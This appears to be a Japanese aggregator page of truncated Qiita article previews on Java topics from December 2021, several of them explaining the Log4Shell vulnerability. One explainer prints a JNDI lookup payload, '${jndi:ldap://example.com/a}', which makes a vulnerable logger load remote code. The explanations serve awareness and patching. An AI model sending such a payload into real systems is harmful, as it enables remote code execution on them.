JAVA関連のことを調べてみた2021年12月13日

JAVA関連のことを調べてみた2021年12月13日

Log4Shellの脆弱性が公開されました:Version 2.15.0にアップデートしてLog4j RCEを防ぐ

本記事は2021年12月10日に公開した英語ブログ[Log4Shell vulnerability disclosed: Prevent Log4j RCE by updating to version 2.15.0](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/)の日本語版です。

![logo-solid-background.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/07433fa4-f0a8-d437-cbe3-8448837570ce.png)

本日(2021年12月10日)、新たに重大な[Log4j](https://logging.apache.org/log4j/2.x/)の脆弱性が公開されました。[Log4Shell](https://techcrunch.com/2021/12/10/apple-icloud-twitter-and-minecraft-vulnerab

元記事を表示

AtCoder230をやった(Java)

AtCoder230をやった。
※諸事情でリアルタイム参加できなかったから、、泣

##[A](https://atcoder.jp/contests/abc230/tasks/abc230_a)
文字列を出力する問題
与えられた数字が
1~9だと、**AGC00x**と表示
10~41だと、**AGC0xx**と表示
42~54だと、基盤となる数字に1を足して、**AGC0xx**と表示
※ソースはクソです。多分もっといい書き方あります

“`
import java.util.*;

public class Main {
public static void main(String[] args) throws Exception {
// Your code here!
Scanner scan = new Scanner(System.in);
ArrayList list = new ArrayList();

list.add(scan.nex

元記事を表示

lombok こう使ってます!

## lombok とは
Java の主にクラス記述上記述が必要だけどめんどくさい細々とした定番コード(いわゆるボイラープレートコード)を、アノテーションを元にして自動生成してくれるライブラリです。

Java のコンパイラーでは、Pluggable Annotation Processing API として仕様が定義されているアノテーションプロセッサを追加することが出来ます。
Annotation Processing では、Java のアノテーションをコンパイラに対する指示として扱って、コンパイル途中に割り込んで追加のコード生成ができるようになっています。
(アノテーションプロセッサは既存のコード自体を書き換えることはできません)

一般的には元となるソースコードとは別に新しいソースコードを生成して、それも含めてコンパイル対象にするような処理がされます。

公式では次のように図示されています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/397251/8955452a-4f8b

元記事を表示

[JNI] nativeからJavaのStreamの消費とパフォーマンス

現在従事しているプロジェクトのプロダクトはJava製ですが、一部の実装にnative (C++)実装を含んでおり、JNIでJava-nativeコミュニケーションを実装しています。
今回は少し前にnativeに計算させるデータの渡し方を修正したので、改めてその実装のパフォーマンスを計ってみようという記事です。

## array実装版
とりあえず修正前の実装と同様のサンプルコードです。
(計測に使った最終的なコードは[こちら](https://github.com/kikuchi-m/ac2021-jni-sample)。)

nativeに渡すデータは、複数の`long`のセットのコレクションです。array版ではすべてをいったん`long[][]`にして一度に渡します。

“`java:Application.java
package jp.co.atware.ac2021.jni.app;

public class Application {

public static void main(String… args) {
System.

元記事を表示

難読化について

不具合解析するにもソースがないから[リバースエンジニアリング](https://atmarkit.itmedia.co.jp/ait/articles/0401/01/news051.html)して実施した。

といった話を最近聞く機会があり、過去にリバースエンジニアリング対策で難読化を実施したなと思ったのが本記事を書こうと思ったきっかけです。実施したのが結構前で覚えていない部分が多いので、実際に試しながら見ていきたいと思います。

難読化とは

そもそも難読化とは

>ソフトウェアにおける難読化とは、コンピュータプログラムの動作を変えずに、プログラムコードの内部的なサブルーチンの内容・構造・データなどを、人間にとって読み取りにくくなるように改変・加工すること。

引用(https://ja.wikipedia.org/wiki/難読化_(ソフトウェア))

難読化する目的は悪用されないよう、読みにくくすることで解析しずらくすること。実際にどのようになるのか、試していきます。

試してみた(Java)

下記環境で実施(括

元記事を表示

GraphQLのPOSTをするときに馬鹿をやらかした話

#はじめに
Heroku Postgreに対して外部から(Herokuアプリ外のサービスから)データを挿入したいという状況の時、
Hasuraはとても役に立ちます。
今回は、そのPOST操作を行おうとしたときに出会った魑魅魍魎を紹介しようと思います。

##Hasuraってなに?
この記事に丸投げします。私はここから学びました。
https://qiita.com/maaz118/items/9e198ea91ad8fc624491

また、HasuraはHerokuに対して強力なサポートをしており、
ワンクリックでHeroku Postgreを利用したGraphQLサーバーを立ち上げてくれます。
https://hasura.io/learn/ja/graphql/hasura/setup/

##今回実装したかった事
AndroidアプリケーションからHeroku Postgreに対してデータの挿入を行いたい
それなら、GraphQLのmutationを利用して挿入しようじゃないか

##おっと
今回発行するGraphQL Queryは以下のような感じだ。keyの命名と値の型の対応

元記事を表示

log4j 2の脆弱性(log4shell/CVE-2021-44228)について調べてみた

# はじめに
log4j 2の脆弱性([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228))について、現時点の情報を自分なりにまとめてみました。
主に下記サイトを元にしています。

https://www.lunasec.io/docs/blog/log4j-zero-day/

# どんな脆弱性?
Javaの主要なロギングライブラリのlog4j 2にリモートコード実行(RCE)が発見されました。
この脆弱性ではJNDI([Java Naming and Directory Interface](https://docs.oracle.com/javase/jp/1.5.0/guide/jndi/index.html))を介して外部のサーバからコードの注入が可能になるものです。
実際の攻撃はlog4j 2に特定の文字列を読み込ませればよく、ログに記録されるであろうあらゆる文字列が攻撃対象になりえます。

“`
‘${jndi:ldap://example.com/a}’
:を半角に読み替えてください
“`

元記事を表示

Javaアプリをより高速化したくてReadWriteLockパターンを利用してみたところ

# ◆Javaでの ReadWriteLock サンプルプログラム(改善版)  【notifyAll() の実行はCPUパワーをかなり消費し、実行速度が低下します】

– ReadWriteLockを利用して少しでもRead処理の高速化を図るつもりが、私の利用環境&CPUパワーの少ないマシンでは、シンプルにsynchoronizedでアクセス毎に該当オブジェクトをロックしてアクセスする方が明らかに高速だったりしました。

– readLock()&readUnlock() しか実行していないのに遅すぎるため原因を探ったところ、参考にしたプログラムでは無駄にnotifyAll() が実行されることによって速度が低下していました。そこで、notifyAll() が不要な場合は実行しないように改善してみたのが下記です。これによって無用な処理速度の低下が防止できます。**キモはnotifyAll()の前に判定処理を入れたところです。**

#下記は、writeLock() が優先される作り(writeLock呼び出しが続くとreadLockが取得できない)となっています。

~~~java
f

元記事を表示

AtCoder231をやった(Java)

AtCoder231をやった。
懲りずにjavaで実装。

##[A](https://atcoder.jp/contests/abc231/tasks/abc231_a)
基本的には、double型で変数を宣言して、格納されたデータを割ればよいです。

“`
import java.util.*;

public class Main {
public static void main(String[] args) throws Exception {
Scanner scan = new Scanner(System.in);
ArrayList list = new ArrayList();

String str = scan.nextLine();
list.add(str);

double d = Double.parseDouble(list.get(0)) / 100;

System

元記事を表示

【Java】Specificationでデータ取得を行う

データベースから取得する際、Specificationやカスタムクエリの存在が欠かせません。
1つや2つのみの検索条件だとカスタムクエリで楽に取得出来るのですが、大規模な開発で多数の検索条件が絡んでくるとカスタムクエリとは言えない・・・
そのような時はSpecificationを使い、Java側で検索条件を指定することでスタイリッシュにデータを取得することができます。(SQLのWHERE句のようなもの)

今回は私が業務でよく使用するSpecificationをまとめてみました。
もし間違い等ございましたら、ご指摘いただけると幸いです:bow_tone1:

前提としてUserテーブル構成はこのようなものをイメージしていただければと思います。

|Id|name|from_name|time|start_date|end_date|
|:–|:-:|:-:|:-:|:-:|–:|
|1|田中|福岡|2021-10-01 10:00:00|2021-10-01 10:00:00|2021-10-31 10:00:00|
|2|佐藤|東京|2021-11-01 11:00:00|20

元記事を表示

JavaでABC231(C問題まで)

 先日行われたパナソニックプログラミングコンテスト2021(ABC231)に参加しました。
C問題まで解くことができたので、方針とコードを投稿していきたいと思います。

#A問題(Water Pressure)
https://atcoder.jp/contests/abc231/tasks/abc231_a

####方針
 入力値(Dとする)を100で割ると答えが出ます。計算はdouble型で実施することに注意しました。

####コード
 コードではBigDecimal型にして、誤差を減らしていきます。
標準入力と出力に関しては下記ページを参考にしています。

https://qiita.com/p_shiki37/items/a0f6aac33bf60f5f65e4

“`Main.java
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.math.BigDecimal;
import java.util.Arrays;
import

元記事を表示

マインクラフトで馬の自動貸出をする

# 概要
CKBPluginは、Minecraftサーバ(SpigotMCサーバー)上で馬の自動貸出を行うプラグインです。
本記事では主にCKBPluginの技術概要について説明し、添付資料としてプラグインコードのGitHub情報を掲載する。

# 想定する読者
– Spigotプラグインの開発について理解を深めたい方
– 馬好きの方(?)

# プラグインの開発背景
以前、マイクラ内でのトロッコの自動運行に関する下記の記事を投稿しました。

https://qiita.com/CIB-MC/items/745864434e2ef4ce6e41

本プラグインはゲームプレイ上、鉄道以外に移動手段を補完する目的で開発されました。
今風に言えばマイクロモビリティです(?)

# プラグインの主な仕様
– 専用の馬(エンティティ)を右クリックすることで貸し出された馬に騎乗する
– 貸し出された馬から降りると、自動的に当該の馬をデスポーンさせる

# 貸出場所用の馬エンティティの仕様と実装
いや、トロッコと同じように専用の看板を右クリックでもいいんですよ?
でもなんかそれだと味気ないので下記仕

元記事を表示

NullPointerExceptionのメッセージの改善について

エンジニアとしてシステムの開発や保守を経験してきました。その中で障害が発生した場合は迅速な対応が求められるのはエンジニアの方々にとっては当たり前のことだと思います。

私自身も多くの障害対応を経験してきましたが、対応は容易でも調査に時間がかかるのはやはりNullPointerExceptionではないかと思っています。

##NullPointerExcepitonとは?
恐らくこのエラーに遭遇した人はいないと思われるほど有名なエラーですが、以下のリンクを参照してください。

https://docs.oracle.com/javase/jp/8/docs/api/java/lang/NullPointerException.html

簡単なソースですがこんな感じですね。

“`:sample.java

public static void main(String[] args) {
String data = getSubstring(null);

System.out.println(data);

}

static String getSubstrin

元記事を表示

Javaの学習について

TechCommitアドベントカレンダー12日目を担当します!
よろしくお願いします。

新卒でプログラム未経験でSIerに入社し、Javaのプログラムを主に扱っています。
(現在入社3年目)

入社1年目に研修でJavaの基本的な文法を学び、
業務ロジックの中身だけであれば書ける状態になっていたのですが、
その後が難しいなと思っています。

今取り組んでいることを書きます。

##Javaをちゃんと理解していく
Javaの基本資格であるJavaSilverを入社1年目で取得していたので、軽い気持ちでJavaGoldとっとくか、
と問題をみてみると…

**さっぱりわかりませんでした!!**

[Oracleのサイト](https://www.oracle.com/jp/education/certification/jse11-5570635-ja.html)を見てみると、以下の定義になっていました。
>Oracle Certified Java Programmer, Silver SE 11 認定資格は、Javaアプリケーション開発に必要とされる基本的なプログラミング知識を有

元記事を表示

Java Bronze試験

(2021/12/11)
2021/12/12Java Bronze試験受けに行ってきます!!

(2021/12/12)
Java Bronze試験受かりました。73/100点だったので、知識/理解の精緻でないところが多いと思う…
2022年度内には、本来の目的のJavaSilver試験を合格を取りたいところ。

元記事を表示

Java学習初日

通常プログラムを実行する時には、最終的に各プラットフォームに対応したネイティブコードに変換されて実行されるが、このネイティブコードが各プラットホームごとに違うため、あるプラットホームで動いていたプログラムが、別のプラットホームでは動かない。

この問題をJavaはJava仮想マシンと呼ばれるソフトウェアを使うことで、見事に解決した。Javaのソースコードはコンパイルすると、バイトコードと呼ばれる中間コードに変換されます。バイトコードが書かれたファイルをクラスファイルといい、Javaのプログラムはクラスファイルの状態で配布されます。

元記事を表示

[翻訳]Javaのロギングライブラリが複雑化した経緯

オリジナルのコメント https://www.reddit.com/r/java/comments/rdv98z/have_you_ever_wondered_how_javas_logging/ho3ren3/?utm_source=share&utm_medium=ios_app&utm_name=iossmf&context=3

以下自動翻訳です。
—-

これは記憶によるものなので、間違いがあっても私の責任でることはご了承ください。

—-
Javaアプリケーションは、複数の依存関係で構成されています。これらの依存関係は、ログを取りたがる傾向にあります。アプリケーションの作者は、1つのAPIを介してすべてのログ情報を収集し、一貫したフォーマット(例:先頭のタイムスタンプ、スレッド名、ログレベルなど)で記録したいと考えます。

1990年代後半:標準出力への書き込み

これらの組み合わせにより、単に標準出力を使用するのではなく、ロギングAPIを使用したいという欲求が生まれました。ライブラリの作者は一貫したAPIに合わせてコーディングすることができ、アプリケーションの作者はAP

元記事を表示

Log4jの脆弱性(CVE-2021-44228)について

# Log4j脆弱性について

今巷で大きな話題になっているLog4jについてまとめてみた。
まだ、CVE情報などが完全には公開されていない状態で執筆している記事ですので、あくまで参考程度にとどめてください。

https://www.itmedia.co.jp/news/articles/2112/10/news157.html

https://zenn.dev/yuitosato/articles/ed283add200e2a

## Log4jとは

Javaのロギングのためのクラス・ライブラリで、Apacheのサブプロジェクトの1つです。

![log4j-01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/355263/3fd6a89f-38f6-fd56-55b4-e199ea31b436.png)
引用元:https://logging.apache.org/

上画像の通り、Java以外にも多くの言語・フレームワークでLog4jを利用できます。

Javaでの主要なロギング手法について

元記事を表示

【Java】CVE-2021-44228のLog4j脆弱性について調べてみた

話題になっていたので調べてみました。

## 脆弱性の内容について

NISTが出している脆弱性情報を参照しました。
https://nvd.nist.gov/vuln/detail/CVE-2021-44228

大まかな特徴としては以下

* Log4j2 <=2.14.1 までのバージョンで起きる脆弱性である。 * JNDI Lookupの機能を使ってログメッセージからLDAPのプロトコルを使って外部から悪意のあるプログラムが実行される可能性がある。 * 実行できるプログラムの内容は特に制限がない なので、非常に重大なセキュリティホールとして発表されています。 ## 脆弱性に対する対策 Log4jのバージョンによって対策方法が色々あるみたいです。 ・Log4jのバージョンを2.15にアップデートする Apacheのコミュニティからすでにパッチ修正がかかったバージョンがリリースされているので、アプリケーションの仕様などでLog4jのバージョンを固定する必要がなければ最新版へアップデートすることで対策できます。 [Log4j – Apache Log4j Security

元記事を表示

30億のデバイスで任意コードが実行できちゃうJava

# :warning:免責事項:warning:
こちらの記事で紹介する内容は、**教育目的または脆弱性について仕組みを理解し周知、啓発を行うためだけ**に作成しております。
**ぜったいに、悪用しないでください。**
記載されているコードを実行した場合に発生した損害には一切責任を負いません。
**理解される方のみ下にスクロールしてください。**

# :eyes: 経緯 :eyes:
2021/12/9にて、超有名なログ出力ライブラリである`log4j`の第2世代で任意コードが実行可能であると報告されました。

OTHERカテゴリの最新記事